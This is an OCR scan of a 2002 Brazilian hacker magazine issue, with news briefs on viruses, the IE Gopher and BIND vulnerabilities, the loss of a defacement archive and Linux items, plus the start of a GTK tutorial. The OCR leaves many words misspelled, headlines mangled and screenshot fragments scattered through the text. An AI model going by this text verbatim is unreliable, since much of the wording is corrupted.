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EDITORIAL

uando tivemos que escolher o tema para

‘a primeira edicdo especial da Hacker, vé&-

rias pessoas aqui da redacao nem pensa-

ram duas vezes: Prdgramagéo! E, real-
mente, ndo tem muito que pensar. As varias lingua-
gens de prog'ramagao que existem por al sao a princi-
pal porta de entrada para o mundo da informéatica. Mas
nada de ficar fazendo tutorial para iniciante. Afinal,
esta € a revista Hacker.

Nossa intencdo também nao é "escolher” a melhor lin-
guagem de programacao. Queremos dar espaco para to-
das elas e seus defensores. A escolha de Java, PHP e GTK
responde a essa necessidade, ja que elas nunca haviam
sido abordadas nas nossas revistas.

A matéria de Java foi tratada de forma a cobrir dois as-
pectos centrais: sua trajetdria e o futuro da linguagem, e

INDICE

também um tutorial para trabalhar o lado pratico. © PHP
tambem comeca a se transformar num padrao sério para
paginas dinamicas na Web, batendo o ASP por sua flexibi-
lidade. E o GTK é o responsavel pelas elegantes interfaces
desenvolvidas para 0 GNOME (e outras interfaces gréaficas)
e é o preferido entre a maioria dos usuérios mais avanca-
dos do sistema Linux. Mais do que isso, ele & um comple-
mento, funcionando em conjunto com varias linguagens
para a constru¢do de programas bonitos e elegantes, além
de eficientes.

Em todos os artigos tivemos a preocupacao de colocar
uma parte pratica, porque, como vocés ja sabem, a Hacker
nao fala, mostra como se faz também. Pena que ndo da
para falar o mesmo de todas as revistas por al.

O Editor
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Hackers semn felo

Alldas.org perde provedor e sai do ar

Um defacer que ndo tenha aparecido no site Alldas.org nao & um
defacer. Alguém discorda desta afirmativa? Impossivel, pois, em
guatro anos de existéncia, o site se tornou mundialmente reconhe-
cido por ser uma das principais referéncias em termos de registro de
invasdes e mirrors.

506 que ele enfrenta grandes problemas por seu carater gratuito.
E 0 dltimo nasceu pelo simples abandono por parte do provedor que
hospedava o site, fazendo com que o Alidas deixasse de registrar as
cobicadas invagdes. Sacanagem, nao?

Com esta, ja sdo duas as crises, sendo que a primeira até motivou
a mudanca do nome (de Alldas.de para Alldas.org), quando os anti-
gos administradores, todos voluntarios, admitiram o problema de
lidar com tantos dados. Somente nestes cases, nos damas conta que
perder um espaco hacker na Net faz uma falta enorme para os mais
de 300 mil visitantes diarios da pagina, que ficaram 6rfaos de uma
hora para a outra, e, claro, para os hackefSejornalistas de plantao...
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Alé no Gopher

IE hdo sabe mais de onde tirar bug

Vocé sabe o que é o protocolo Gopher? Ele era mais usado antes
da popularizacao da Web. Hoje em dia, é praticamente impossivel um
USU&ro comum procurar por uma pagina da Internet usando esse sisterma.

Mesmo assim, ele continua em nossos browsers. £, como nao
podia deixar de ser, até mesmo nessa funcio altamente inutil do
navegador, o Internet Explorer consegue apresentar algum bug que
compromete seriamente 0 nosso computador.

O cliente de Gopher do IE tern uma vulnerabilidade que permite a
execucao de um buffer overflow no micro. Para isso, basta entrar
em um site malicioso ou ver a pré-visualizacio de um e-mail HTML
contendo cadigos especificos.

A falha foi comunicada & Microsoft pelo especialista Jouko
Pynnonen, que tornou a
histaria publica 48 horas
depois. A empresa recla-

Configuracoes do proxy HE

Endereco do prosy a serusado  Podta

[l2taiies - . :
Rkl S mou, dizendo que deveria
192188.1.165 :;3128 ¥
: e ter sido esperada a cons-
Gopher  [im2imaries Rz trucao de um patch. Mas
Socks: : poderia gastar mais o seu

r.ﬂsaamsemdo(rx panbdacos otocolost

tempo tentando fazer
uma programacao mais
confiavel. ..

Nao usar prowy para andeaa;m iniciados por:

|

Use punto-e—vfrgda [ -} pa1a separat entiadas.
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Para saber se seu navegador estd pro-
tegido ou fazer uma correcéo, va ao site:
gopherfwww.solutions. fi:7000/0

Os nackers Tanabémn apaemn

Gigabyte e Nostalg1c unem forcas na Bélgica

Hackear pode nao s levar a um maior conhecimento e poder no mundo
da informatica. Por incrivel gue pareca, pode levar também ao amor.
Pelo menos & isso que estdo provando Gigabyte, de apenas 18

anos, e Nostalglc, de 20, dois dos mais famosos hackers da Bélgica

e do mundo. Ele ficou famoso por invadir o site da Casa Branca. Ela,
por ser a criadora do Sharpei, o segundo virus escrito em linguagem
C# para a plataforma .Net, da Microsoft.

Agora eles estao juntos, dois anos depois de se conhecerem em
um bate-pape em um canal de IRC. A musa hacker Gigabyte, sem-
pre provocativa e arrogante, se torna romantica quando fala do seu
namorado. E Nostalg1c diz que ela é perfeita porque consegue
entender o vicio dele por computadores.

Mas o romantismo de Gigabyte tem limite. Ao ser perguntada
sobre o que mais teria em comum com seu namorado, além do
gosto por computadores, ela volta ao tom seco costumeiro: “Safiva?*

Resta agora saber 0 que a unido de forcas dessas duas celebrida-
des pode produzir para o mundo hacker.




Bug me DNS

Falha permite ataques DoS

Foi descoberta uma falha em um ponto vital da estrutura da
Internet que facilita muito o trabalho dos hackers que desejam apli-
car um ataque DaS em sites.

A falha estd em um tipo de software de DNS (Domain Name
System) muito usado na Internet, chamadao BIND (Berkeley Internet
Name Domain). Para quemn nao sabe, o DNS é uma ferramenta
usada para transformar o nome dos sites, escritos em texto, em
enderecos numéricos de IP, referentes a determinados servidores.
Se h& algum.problema com o DNS, o site nao podera ser acessado.

Segundo o CERT (Computer Emergence Responde Team), grupo
que descobriu a falha, um hacker pode aplicar um DoS mandando
pacotes especificos de DNS para um servidor. O problema atinge as
versges do BIND anteriores a 9.2.1.

O site da ISC (Internet Software Consortium) j& tem uma versao
para download livre do bug. O software também faz parte de mui-
tos programas servidores vendidos noTercado. A CERT recomenda
o download imediato para livrar a Web de mais essa vulnerabilidade.
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Copa de virus

Worm é desclassificado na primeira fase

Como ja era de se esperar, a Copa do Mundo de futebol, realiza-
da no Japao e na Coréia, acabou mesmo sendo tema de virus.

E o caso deste. O virus da Copa se chama VBS/Chick.F e promete,
no corpo da mensagem, mostrar os placares de alguns jogos do
torneio. Ele so infecta o Outlook do Windows e canais IRC. Sequndo
os especialistas, € de baixa periculosidade.

Para comecar, ele & um fracasso como worm: s € encaminhado para
o primeiro nome na lista de contatos do micro invadido. Além disso, ha
diversos erros no cadigo que impedem um ataque mais devastador.

Nao é de hoje que os criadores de virus, especialmente os mais
basicos, tém tentado tirar proveito de temas com grande apelo
popular para disseminar as suas pragas. Issa ja foi visto no caso do
Anna Kournikova. Nao é sempre, porém, que conseguem resulta-
dos tao expressivos.

Para ficar a salvo da nova praga, é sé ficar atento a e-mails
contendo Korea Japan Results como linha de assunto ou anexos
usando extensao CHM (HTML compilado), como Koreajapan.chm.

o
1=
{4
1=
o
2
H o
K3
o
i
c
o
o
1o

Eeaelon jé esléd ma sequnda versédo

U dos criadores do sistema conta tudo a imprensa

Agora é praticamente oficial. Um engenheiro confirmou a um
jornai dinamarqués a existéncia do sistema de espionagem Echeion,
mantido pelos Estados Unidos, Gra-Bretanha, Canada, Australia e
Nova Zelandia para moniterar, através de satélites e computado-
res, a comunicacao privada e comercial do mundo todo.

O nome dele é Bruce MclIndoe. Ele foi contatado pelo jornal Ekstra
Bladet e surpreendeu ao mostrar que ndo tem papas na lingua.

Ele disse ter comecado a trabalhar no sistema da NSA em 1987,
pouco antes de ele parar de ser utilizado. E conta mais: disse gue
participou da construcao do Echelon Il, um sistema ainda melhor,
que funciona até hoje. Claro que isso pode ser mentira, mas as
evidéncias parecem mostrar que nao.

McIndoe ri quando perguntam se ele nao estaria revelando al-
gum grande segredo: “é facil confirmar a existéncia do Echelon,
basta ver o orcamento do Departamento de Defesa dos EUA. Além
disso, nomes nunca foram top secret, ¢ que ndo pode é dizer sua
capacidade e como ele opera”.

O espido trabalha atualmente no ljet Travel Intelligence. Ele saiu
da NSA em 1998.

Yakima Fring Care

Gemidion Btation
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Linux & moda enfigs

Compilador permite portar aplicagées COBOL para o pingiiim

COBOL: este nome tem historial Se vocé se interessa por com-
putador desde a época em que os comandos necessitavam ser
digitados num terminal - nada de icones engracadinhos e “drag-
and-drop” - e programador que era programador desenvolvia
aplicativos “naunha”, ou seja, linha por
linha, com certeza, j& ouviu falar dele
alguma vez. Mais: deve mesmo ter usa-
do por muito tempo.

N&o € para menos: até hoje a lingua-
gem criada por Grace Hopper é tida
como poderosa e eficiente e ainda pode
ser encontrada em muitas empresas por
ai. O advento do open source, contudo,
traz um problema: ou as empresas con-
vertem tode o sistema para uma nova
linguagem ou deixam de economizar, <t~
gastando dinheiro com as licencas do
Windows/DOS, ja que o COBOL néo é
compativel com Linux.

Nao era. Agora, ja existe um compila-
dor que rompe esta terrivel barreira: o
Kobo/ (Kompany Business Oriented
Language), gque é capaz de portar apli-
cacGes em COBOL para Linux, com toda ize

LKOBOL

aware of.

b WARA) b ol

Itiple-platform IDE and compiler for COBOL development

Loeation / Home 4 Froducts £ KOBOL / Dvervien

KOBOL is - we hope -- an obvious play on words for COBOL, which stands for COmmon Business Oriented KOBOL \krsions: -]
Language. We therefore refer to KOBOL as KOmpany Business Criented Language:
B Addto cart
. KOBOL is fully ANSI COBOL compliant and has even implemented the full Object Oriented extensions to COBOL
that were just recertly finalized by the ANSI committee, and not implimented by any other COBOL that we are E Remove from cart

KOBOL hes teken & unique approach to language compilation and as a result generates true multi-platform
executables -- you just have to do it on the target pletform. The result of this is that there are no expensive run-
time costs associated with KOBOL as there are with most commercial COBOL environments.

a compatibilidade. Mais um casamento bem-sucedido entre um bom
sistema e uma boa linguagem. E se vocé ¢ fa de linguagens antigas,
ou mesmo programador & moda antiga, ndo tem mais desculpa
para nao ser adepto do software livre, certo, mano?

Black Adder :

Daa Architect : DocBrowser

Soreanishots

Derro- Varsion

Items in cart: 0
Tetal amount: US$ 0.00

Show cart contents
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| www.thekompany.com/productskobol/
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Usuarios de P2P disponibilizam dados pessoais e sofrem ataques de virus

Toda nova tecnologia surge com
um objetivo bem definido, além de
trazer novidades para melhorar a
vida das pessoas e deixar a
informatica cada vez mais pode-
rosa e facil de usar. Isto & meio 6bvio, afinal, de que adianta inventar
algo fora do comum se ninguém vai usa-lo?

O problema, entretanto, é que a popularizacdo traz consigo
um problema: a ameaca de atagues, seja por meio da exploracao
de vulnerabilidades, abrindo o micro para invasores, seja por meio
de virus, worms & Cia., agentes bem conhecidos de "destruicdo
em massa”.

O P2P, (in)felizmente, ja se encaixa nesta categoria “popular”.
Desde o surgimento do Napster, e depois, com a criacao de redes
como a do Gnutella e a FastTrack, acessadas por softwares como
KaZaA e Morpheus, o nimero de usuarios so tem crescido. E mais
usuarios significa mais gente descobrindo falhas e mais gente crian-
do formas de explora-las.

Dito isto, ndo é de estranhar que uma das mais recentes novida-

des do KaZaA, um dos mais populares softwares P2P, n3o venha
dos tribunais, em mais alguns embates com a RIAA, mas dos micros
dos usuarios: um worm especialmente criado para atuar na rede
do software.

Denominado Benjamin, a praga se disfarca em mais de trés mil
nomes de musicas, filmes e games conhecidos, criando bytes inGteis
gue aumentam o tamanho dos arquivos, se autocopia dentro do
Windows e se disponibiliza na rede para enganar os usuérios. Ele
ainda cria uma ID para se conectar a um site de banners publicitari-
0s, 0 que pode causar negago de servico do sistema.

Entretanto, nem sé de worms se constituem os perigos da rede
P2P. Algumas vezes, o problema estd no proprio usuério, que
disponibiliza, sem querer, arquivos confidenciais na rede. A revelacio
partiu de um estudo promovido pelo HP Labs, da HP, e concluiu que,
durante a instalacao, muitas pessoas escolhem pastas contendo da-
dos pessoais importantes para serem compartilhadas, como arquivos
de caixa postal do Outlook Express e arquivos temporarios, gue po-
dem revelar habitos do internauta. Alge que, possivelmente, ninguém
disponibilizaria no gozo pleno de suas faculdades mentais. .




I love Linux

IBM realiza evento especial para o open source

Quem disse que uma grande empresa
" nao pode apoiar o open source? AIBM e a
maior prova de que isto é possivel - mes-
‘mo que seja devido a estratégias pura-
mente comerciais.
No inicio de junho de 2002, a Big
Blue promovéu, em Sao Paulo, um
evento para mostrar todas as so-
lucdes baseadas em Linux para
seus computadores, desde os
pessoais até os poderosos
mainframes. A companhia in-
formou que a primeira fase
de apoio ao SO, marcada pela portabilidade de seus softwares
para Linux e pela certificacdo de servidores para roda-lo, ja foi
concluida, e, agora, vird a competicadorapresentando o pingtim
como alternativa vidvel a outros sistemas operacionais, inclusive o
AlX, da propria IBM.

E para provar que nao esta para brincadeira, a IBM ainda apre-
sentou um servidor xSeries modelo 440, capaz de rodar Red Hat
Linux, FreeBSD e Windows 2000 perfeitamente e, na mesma sema-
na, fechou um acordo com o governo alemac para oferecer solu-
¢oes inteiramente baseadas nesta plataforma.

O Wlimmo dos moicanos

A busca pelos segredos hackers

A resisténcia continua... Um dos maiores sites brasileiros de infor-
macao para geeks, o Insecurenet, trouxe mais uma novidade para o
cenario digital brasileiro.

J& esta em operacao o primeiro “black-searcher” da América
Latina, onde o underground brasileiro ira encontrar desde sites com
noticias sobre Linux até paginas técnicas, como a Kriptopolis, espe-
cializada em criptografia.

A Insecurenet é uma das ultimas sobreviventes da chamada “re-
sisténcia underground organizada”, sites desenvolvidos por jovens
viciados em informacdo com o intuito de disseminar a cultura
cyberpunk pelo Pais.
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Segurance para lodos

NSA converte Linux ultra-seguro em add-on para versées comuns

Todos sabem que é impossivel criar um sistema ou aplicativo total-
mente livre de bugs. “Errar é humano”, ja diziam nossos avds. Prin-
cipalmente agora, que é possivel reduzir a incidéncia de
vulnerabilidades e corrigir eficazmente as que surgirem. Neste sen-
tido, podemos dizer que os softwares open source saem na frente,
pois acabam sendo mais ageis nas corre¢des por agregarem progra-
madores do mundo todo em torno de um objetivo comum.

A idéia parece tac boa que, ja ha algum tempo, a NSA, a Agéncia
Nacional de Seguranca norte-americana, adotou o Linux como base
para o desenvolvimento de um sistema operacional ultra-seguro, o
SELinux (Security-Enhanced Linux). A meta era criar uma versao
ainda mais confidvel do SO, que pudesse ser usada por quemn consi-
dera seguranca de dados e privacidade palavras de ordem na
informatica.

S6 gue os desenvolvedores resolveram dar um passo além: em
vez de criar uma versao propria e a parte do Linux, decidiram trans-
formar o projeto num mdédulo que opera quase da mesma forma
que uma distribuicdo comum, ou seja, o SELinux agora se converteu
em um add-on para Linux comum. Maravilha, ndo? Para quem esti-

verinteressado, j& ha até mesmo uma versao Red Hat para o proje-
1o, disponivel no site SourceForge.net.
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Ume infame coros

Klez é o virus mais destrutivo da Historia

O Klez.H foi chegando devagarzinho, devagarzinho, e acabou
conquistando o primeiro‘lugar. Segundo a fabricante de antivirus
Messagelabs, ele é o mais destrutivo de toda a historia da Web,
ficando & frente de worms classicos, como o Melissa e o ILOVEYOU.

A empresa tem um relatério com 775 mil paginas sobre o virus,
com relatos de todos os tipos, vindos de pessoas que tiveram seus
computadores infectados. S&o mais de 20 mil mensagens por dia
contendo este virus, o que d& uma média de um Klez.H para cada
300 mensagens.

O pulo do gato do Klez é esconder a origem do ataque, escolhen-
do remetentes randomicamente a partir do catalogo de enderecos
da vitima. Além disso, ele muda constantemente sua linha de assun-
to e o texto que acompanha a mensagem, tornando dificil a sua
identificacao pelos usuarios mais iniciantes.

Segundo a Messagelabs, o Klez, assim como o SirCam e outros,
mostra que estamos frente a frente cdfruiria nova geracéo de
virus, muito mais destrutiva que as antigas. Nao d& mais pra nao
pensar em seguranca ao operar um micro.

TNustre desconmhecido
HP lanca sistema operacional préprio e anun-
cia compatibilidade com Linux

Se vocé acompanha as noti-
cias sobre sistemas opera-
cionais, com certeza, os termos
Windows, DOS, Linux, Mac OS,
FreeBSD, OpenBSD, Unix, etc.
j& ndo sao novidade. Mas de
HP-UX vocé ja ouviu falar?

N&ao se espante se a respos-
ta for “nunca”, especialmen-
te se vocé néo trabalha dire-
tamente com servidores de
grande porte. O HP-UX, um
sistema operacional desenvolvido pela HP, ndo & mesmo tao conhe-
cido e funciona em méquinas equipadas com um processador igual-
mente pouco famoso, o PA-RISC.

A novidade, entretanto, estd no fato de que a HP ja anunciou o
lancamento do sisterna - denominado HP-UX 11i, versao 1.6 — para
a familia de chips Itanium 2, da Intel, esta bem mais conhecida. O
ltanium 2 é segunda versdo dos processadores de 64 bits da Intel,
utilizados em servidores e em ambientes de cluster, e que prometem
levar a capacidade de processamento as alturas.

Se ainda assim, vocé nao esta convencido do motivo gue nos
levou a colocar esta nota aqui, af vai mais uma informacao: o novo
HP-UX conta com um kit que permite portar aplicagbes Linux, e a
fabricante ja disse que deve lancar uma versio totalmente compa-
tivel com o SO open source nos idos de 2003. E entao, vale ou ndo
vale a pena conhecé-lo?

HP-UX 11i

VATFLER

HP-UX

b A

P2P furbinado

Novo Morpheus tem downloads mais rapidos

Ha muito tempo que as gravadoras e estudios vém tentando
barrar o avanco dos softwares P2P. E nao é para menos: é bem mais
facil recorrer a um KaZaA da vida para achar aquela musica legal do
gue comprar um album inteiro, que, muitas vezes, nao vale o preco
gue é cobrado.

E apesar de “idas e vindas” do Judiciario, a verdade é que o P2P
segue firme e forte. Quer uma prova? As novas versdes Morpheus
(1.9 e 2.0), compativeis com a rede do Gnutella e com o AIM (AOL
Instant Messenger) e com a inclusdo de um clube de compras - que
captura o IP, portanto, cuidado!

O Morpheus 2.0, especialmente, promete downloads ainda mais
rapidos, mais resultados nas buscas e correcoes de conexao. Coisa
de fazer qualquer RIAA ficar com os cabelos em pé. As novas
versoes, entretanto, deixam de utilizar a FastTrack, rede acessada
pelo KaZaA.

Win e Linux ne parede

Virus polimérfico invade os dois sistemas

A evolucdo dos virus de computador vem daixando os usuarios
cada vez mais assustados. Depois de virus que usam fake mail, esco-
lhendo remetentes a partir do catalogo de enderecos, como o Klez,
agora inventaram uma praga polimorfica/metamérfica capaz de
infectar computadores usando Windows e Linux.

Ele é o primeiro desse tipo a conseguir causar danos aos dois
sistemas operacionais. Seu nome: Smile.D. Ele foi descoberto pela
Synﬁantec e usa técnicas de metamorfose, criptografia polimarfica e
entry-point obscuring. Pode agir a qualquer momento depois que o
arquivo for executado e atinge arquivos ELF (usados em Unix) e PE
(encontrado nas principais versdes da plataforma Win32).

O interessante é que ele ndo & um virus destrutivo, apenas mostra
mensagens em datas predeterminadas. Os responsaveis por ele sao
os membros do grupo 29A, mais precisamente um de seus integran-
tes, Mental Driller. Entre outras facanhas, eles jd criaram o primeiro
virus para Windows e Linux, o Winux, e o primeiro para a plataforma
.Net, o Donut.




Pequenine, mas ex{raordindrio

IBM apresenta tecnologia de armazenamento que usa agulha e um pequeno plastico

Claro que nao se trata de um pedago plastico comum e de uma
agulha comum. O polimero & um filme ultrafino do tamanho de um
selo, enquanto a agulha, microscopica e superaquecida a mais de
390° C, faz microfuras com uma espessura 6 mil vezes menor que a
de um fio de cabelo=humano. A auséncia ou presenca dos furos
representa a classica seqliéncia bingriade O e 1.

Vocé é capaz de imaginar que uma agurlha e um pedaco de plas-
tico podem ser usados para armazenar dados digitais e, mais, mon-
tar um dispesitivo que chega a incrivel capacidade de 1 TB? Pois esta
é a promessa da millipede (miriapode, “verme de muitas patas™),
uma nova técnica surgida da nanotecnologia que lembra, de certa
forma, os antigos cartdes perfurados utilizados nos primérdios da
informética.

A novidade foi apresentada pela IBM, que aponta a tecnologia
mecanica como eficiente em situacdes que nao exijam desempenho

e

muito alto, ja que ela € mais lenta que a eletromagnética, utilizada
atualmente. Acredita-se que em 2005 vocé ja podera comprar 0s
superselos em qualquer loja por ai. Quem disse que ser pequeno e
fino é problema?

producao

Imagens: Re

mos de personagens “estrai
Schmitz, o Mr. Kimble, conhy
seu estilo um tanto atrevido

A autenticidade da Kimble coma hacker ja foi questionada
convincentemente por alguns outros membros da elite digi-
tal, que o acusaram de ser uma fraude. Bem, se ele & ndo &%
cabe a nos dizer, mas uma coisa é certa: fazer fraudes &
parece ser sua especialidade.

Ista porque Kimble, recentemente, foi condenado
s de prisio pela Corte de Munique, na
A acusacdo: fraudes na manipulacao
de agoes on-line, gue teriam rendido um lucro
pessoal superior a US$ 1 milhdo. O hacker te-
ria usado informacgdes privilegiadas para com-
prar acdes a baixos precos e
vendé-las, em seguida, por um e
valor bem maior. Ele ainda J'a"
tentou fugir, mas foi cap- :
turado em janeiro de
2002 na Tailandia.
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Mar de spamn

Empresa manda 1 milhdo de e-mails por dia.

Uma empresa estd sendo
processada nos EUA depois de
ter conseguido um indice que
pode ser considerado um tris-

te recorde: ela enviou cerca

de 500 milhdes de spams
pela Internet, no espacc de
tempo de apenas um ano,

desde marco de 2001,

Isso da uma média de 1,3 mi-
Ihdo de e-mails enviados por dial
O processo acusa o diretor-exe-

cutivo da MonserHut (a empre-

sa em questdo), Todd Pelow, e

o diretor de tecnologia, Gary
Hartfde enviar antncios falsos

e de prestar servicos por e-mail que ndo foram
solicitados pelos usudrios.

Em outra ocasiao, a empresa ja havia sido suspensa de seu prove-
dor, o Paetec, depois que a pratica de spam foi descoberta.

Os consumidores se indignaram contra essa enxurrada de mensa-
gens. Mais de 700 mil reclamacdes foram enviadas a empresa, pe-
dindo a exclusao de seus cadastros, e muitos outros se queixaram
também do provedor.

O procurador de Justica de Nova lorque, Eliot Spitzer, que esta coor-
denando as investigacdes, quer ndo s condenar a MonsterHut, como
também obriga-la a divulgar como conseguiu os enderecos de e-mail.

A ponte da seguranca

Microsoft diz que vai deixar a Web segura

Pcde muito bem ser mais fogo de palha vindo da Microsoft, mas
o fato é que a empresa afirma que, agora sim, vai deixar os seus
sistemas seguros. Ela esta criando a TrustBridge, uma tecnologia
gue tem como objetivo algo nada facil: tornar a Web um lugar com
menos falhas a serem exploradas pelos hackers.

A TrustBridge é, sequndo a Microsoft, uma evolucio do que foi
feito pela empresa em conjunto com a Verisign e a IBM, no consar-
cio WS-Security. As trés companhias determinaram um padrao, cha-
mado SOAP (Simple Object Acess Protocol), para tornar a troca de
informacées em sites de e-commerce mais segura. £ uma preocupa-
¢do atual da IBM o fato de que muitos usuarios ndo preenchem
cadastros de sites corretamente, com medo do mau uso dos seus
dados. Por isso, a empresa é uma das que mais batalha por um
ambiente Web mais confiavel.

A nova tecnologia s6 chegaré mesmo ao mercado durante o ano
que vem. Ela estd sendo desenvolvida para rodar em servidores
Windows, o que nos faz perguntar: desse jeito, sera possivel que ela
seja realmente segura?
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Linux, © meais vulneravel?

56 se for na lista da SecurityFocus

O site SecurityFocus publica uma relacdo do numero de
vulnerabilidades encontradas em cada sistema operacional, ao lon-
go dos anos. Pois adivinhem quem ficou em primeirc lugar no ano de
20017 Windows? Nao, nada disse, foi o Mandrake Linux 7.2, segui-
do por Red Hat 7.0, Mandrake Linux 7.1, Debian 2.2 e Solaris 8.0.

Calma, e claro que isso tem uma explicacdo. O Windows conside-
ra bugs como os do IE como parte do programa, e nao do sistema.
Os demais fazem diferente: consideram como parte do SO os pro-
gramas com os quais sao distribuidos. Sendo, com certeza, o Windows
ficaria em primeiro.

De qualguer forma, vale comparar os sistemas baseados em Unix
e observar, especialmente, o nimero de bugs das versdes mais re-
centes. No placar geral, Red Hat, Mandrake, Solaris e Debian estdo
atras, corn Mac OS, Turbolinux, Conectiva e BeOS apontados como
alguns dos mais seguros.

Além disso, é interessante notar como o nimero de novas

vulnerabilidades vem crescendo a cada ano. De menos de 50, em
98, elas ja passam de 150 por ano, segundo a SecurityFocus.
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Debalxo de sele pelmnos

Noruegués leva senha para o tumulo

Sabe quando
vocé conta um se-
-gredo para um ami-
go (ou amiga) e
pede que ele leve
aquilo para o
timulo? Pois é, tem
gente gue segue
iss0 a risca. Foi o caso
do administrador do
banco de dados do
Centro de Lingua-
gem e Cultura Ivar
Aasen, na Noruega.

O Centro é urm museu construido em homenagem a Aasen, con-
siderado o fundador do noruegués moaaTho. Desde sua fundaco, a
instituicao recebeu milhares de doacdes de livros e documentos, que
foram catalogados e registrados no banco de dados, visando
dispanibilizar o acesso aos interessados. Tudo ia bem, até que o
especialista gue auxiliou na doacao e arquivamento morreu e levou
a senha de acesso consigo.

Foi entdo que o diretor do museu, Qttar Grepstad, fez um apelo
curioso no rédio; solicitou a ajuda dos hackers para descobrir a se-
nha perdida. Funcionou: o sueco Joakim Eriksson, no melhor estilo
da elite, conseguiu quebrar a senha em apenas cinco horas, impe-
dindo 0 museu — e lvar Aasen — de cair no esquecimento.

Especialistas ema bobagenn

Grupo financiado pela Microsoft ataca a GPL

Um pretenso grupo de es-
pecialistas da Instituicao Alexis
de Tocqueville publicou recen-
temente um trabalho analisan-
do a GPL. O que se pode dizer
do documento? Simplesmen-
te um lixo.

Segundo o site Security
Focus, o grupo é financiado
pela Microsoft. Essa informa-
¢ao nos permite entender as
opinides ridiculas apresentadas
no relatario, um completo
amontoado de mentiras e meias-verdades.

Para comecar, ele foca principalmente a questdo econdmica,
gualificando Richard Stallman como um autor de “crimes contra o
comércio”. A parte esta bobagem, eles sustentam que o codigo
aberto facilita a acao de invasores, e que os programas proprietari-
0s $a0, por isso, mais seguros. Podemaos ver comao isso é verdade com
a quantidade de bugsno IE...

Outro problema: os “experts” esqueceram de falar sobre a di-
ferenca de tempo na publicacdo de patches em um e outro siste-
ma de licenca.

Felizmente, esse tipo de discurso nao convence mais ninguém. A
Microsoft pode continuar se debatendo, mas quem entende mesmo
do assunto sabe: a GPL veio para ficar. £ irreversivel.

Paclo polémice

Empresas desafiam a GPL

Quatro das maiores distribuicoes Linux do mundo se uniram para
criar uma versao integrada do sistema operacional open source,
chamada UnitedLinux. Estdo na empreitada a Caldera, a SuSE, a
Turbolinux e a brasileira Conectiva.

Com essas restricoes, corre-se o risco de fundar o lado Windows
do Linux.

Aparentemente, isso vai trazer mais forca para a
comunidade Linux, mas nao é assim tao simples. Na
verdade, trata-se de um movimento natural dessas
empresas, que se tornaram muito fortes economica-
mente dentro desse mercado. Das maiores, apenas &
Red Hat ficou de fora.

Mas ha que se tomar cuidado com as adverténcias
de Mr. Stallman: durante o anuncio do projeto, foi dito
que os codigos-fonte estariam livres para download,
mas ndo foi revelado em que circunstancias isso sera
feito. Além disso, os binarios ndo estardo livres para
download e os usuérios serdo impedidos de mudar o
codigo e criar, com isso, uma marca propria. Havia até [ News|
a possibilidade de cobrarem licenca por computador.

UNITEDL

Selectyour Language ’E | o | Brass | FAGs | Wmitepapers | & = Plans | Contal
UnitedLinux is a standards-based Linux
AMD

operating system targeted at the business user.
It is developed, marketed and sold by an

experienced partnership of Linux companies.

"AMD  looks forward to  working  with
UnitedLinux. Innovating within open standards
is a basic tenet at both AMD and UnitedLinux,
The combination of an enterprise-ready
standard Linux, and high-volume, industry
standard 32-bit and &4-bit server platforms
from AMD will provide shared customers with a
high-performance  platform  for  enterprise
computing. *

Aich Heye, Vice President PFlafform and
Infrastruciure, AMD

Borland Software Corporation

*A5 3 leading orovider of lintse developrgent

11




12

GTK

GTK/GNOME

Como desenvolver interfaces graficas para Linux

GTK (GIMP Tool Kit ou Kit de Ferramentas do
GIMP) foi inicialmente escrito para ser utilizado
ik no GIMP {programa gréfico super conhecido no
mundo linux), licenciado pela GPL, o que faz dele
uma ferramenta livre para os programadores.

Segundo a filosofia do software livre, que é compartilhar,
muitos programadores viram que o GTK era uma ferramenta
muito versatil e que poderia fornecer uma camada de abstra-
cdo muito grande entre o programador e o sistema de janelas
(X-window), possibilitando fazer programas GUI! (interface gra-
fica) mais facilmente, poupando, assim, muito tempo.

Para se ter uma idéia do poder do GTK/GNOME, basta
saber que a grande maioria dos programas para Linux é
feita com base nessa ferramenta - entre elas, podemos
citar o gerenciador de janelas GNOME (GNU Network
Object Model Enviroment), que faz parte do projeto de

por Arx Cruz
engenhelrossa@yahoo.com.br

software gratuito GNU.

Com o GTK/GNOME foi possivel criar um ambiente desktop
completo e facil de ser usado, além de um poderosissimo
framework de aplicativos para quem desenvolve softwares.

As vantagens

Uma das vantagens de se programar em GTK/GNOME é a
grande variedade de linguagens de programacao que ele su-
porta. Dentre elas, podemos citar C, C++, Perl, Java, Pascal e
muitas outras, o gue significa que o programador em Pascal,
por exemplo, pode tranglilamente aprender a programar em
GTK/GNOME, sem ter muita dificuldade, usando os seus co-
nhecimentos em Pascal. O mesmo acontece com as outras lin-
guagens gue sao suportadas.

O GTK/GNOME ¢ independente do gerenciador de janelas,
ou seja, além da sua interface propria e amigavel, ele ¢ alta-
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mente configuravel e personalizdvel, com menus pré-configu-
rados e com um layout intuitivo e icones atraentes, e fornecen-
do, ainda, dicas para os gerenciadores de janelas compativeis,
podendo, assim, interagir apropriadamente com 0s recursos
do GNOME, como € o caso do painel. j

Possui um poderoso layout de containers que é um widget
que pode conter outros containers, ou botdes, textbox, etc.

O GTK/GNOME é bem leve e é suportado por varias plata-
formas de sistema operacional diferentes, como Windows,
Solaris e BeOS.

Resumo

Resumindo toda a histéria do GTK/GNOME, essa poderosa
ferramenta é um toolkit que oferece uma interface amigavel
para criacao e gerenciamento de widgets (botdes, caixas de
texto, etc.)
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Antes de comecar a programacdo em GTK/GNOME

Antes de comecarmos a programar em GTK/GNOME, vamos
conhecer algumas partes gue serdo importantes para enten-
der a programacdo em GTK/GNOME. E importante salientar
que tomaremos por base a programacao em C, que é a lingua-
gem em que a maioria dos programas € escrita.

Biblioteca glib

O GTK/GNOME possui a biblioteca glib, que forne-
ce recursos de suporte para programadores em C,
como funcdes de memoria e armazenamento de da-
dos, e funcdes aperfeicoadas da biblioteca-padrao do
C e do sistema. Nao vamos entrar muito no assunto
sobre a glib, mas, para quem se interessar, existe uma
discussao completa sobre esta biblioteca em
www. gtk.org.

13
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Tipos de primitivas da glib

A biblioteca glib pessui tipos proprios de primitivas, de com-
primento estabelecido, juntamente com novos tipos de pon-
teiros boolean, string e void, como se segue na tabela abaixo:

TIPO DESCRICAO

gint8, gint1s, gLntB_2 Inteiro de comprimento estabelecido
gboolean ‘ Tipo boleano TRUE e FALSE
gint Equivalente a int
gshort  Equivalente a short
gchar Equiva!eﬂteﬂg_(‘
gfloat ' Equivalente a float
gdouble Equivalente a double
gpointer Equivalente a pointer
Widget

O widget (bugiganga) é o termo usado no X-window para
designar qualquer elemento de interface com o usuério, como
janelas, botoes ou qualquer coise que o programador venha a
precisar. Os objetos (ou widgets) do GTK/GNOME derivam da
